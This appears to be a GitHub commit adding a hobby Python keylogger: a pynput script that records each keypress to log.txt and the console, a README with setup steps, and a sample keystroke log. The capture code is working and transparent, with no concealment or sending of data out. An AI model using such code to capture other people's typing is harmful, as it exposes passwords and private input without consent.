Skip to content

Commit fc84e63

Browse files
authored
Added KeyLogger Python Project Script
1 parent 9570cd0 commit fc84e63

File tree

3 files changed

+80
-0
lines changed

3 files changed

+80
-0
lines changed

OTHERS/KeyLogger/KeyloggerProject.py

Lines changed: 35 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
import pynput
2+
from pynput.keyboard import Key, Listener
3+
4+
keys = []
5+
6+
7+
8+
def on_press(key):
9+
keys.append(key)
10+
write_file(keys)
11+
12+
try:
13+
print('alphanumeric key {0} pressed'.format(key.char))
14+
15+
except AttributeError:
16+
print('special key {0} pressed'.format(key))
17+
18+
19+
def write_file(keys):
20+
with open('log.txt', 'a') as f:
21+
for key in keys:
22+
k = str(key).replace("'", "")
23+
f.write(k)
24+
25+
f.write(' ')
26+
27+
def on_release(key):
28+
print('{0} released'.format(key))
29+
if key == Key.esc:
30+
return False
31+
32+
33+
with Listener(on_press=on_press,
34+
on_release=on_release) as listener:
35+
listener.join()

OTHERS/KeyLogger/README.md

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
# To Run This KeyLogger Code Using Python
2+
3+
### **You need to install 'pynput'**
4+
5+
#### Steps to Install 'pynput'
6+
7+
8+
9+
**First create virtual env in your IDE and set it by using given commands**
10+
11+
##### macOS
12+
```
13+
python3 -m venv .venv
14+
source .venv/bin/activate
15+
```
16+
17+
18+
##### Linux
19+
20+
```
21+
sudo apt-get install python3-venv #If needed
22+
python3 -m venv .venv
23+
source .venv/bin/activate
24+
```
25+
26+
##### Windows
27+
```
28+
py -3 -m venv .venv
29+
.venv\scripts\activate
30+
```
31+
32+
use this command in your virtual env to install pynput
33+
34+
```
35+
pip install pynput
36+
```
37+
38+
39+
-------
40+
**Now you can run this in your IDE**
41+
42+
###### **Your key log will be saved in 'log.txt' file**
43+
44+

OTHERS/KeyLogger/log.txt

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
Key.backspace Key.backspace Key.backspace Key.backspace Key.backspace s Key.backspace Key.backspace s d Key.backspace Key.backspace s d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace s d d d Key.backspace Key.backspace Key.backspace s d d d Key.backspace Key.ctrl Key.backspace Key.backspace s d d d Key.backspace Key.ctrl c

0 commit comments

Comments
 (0)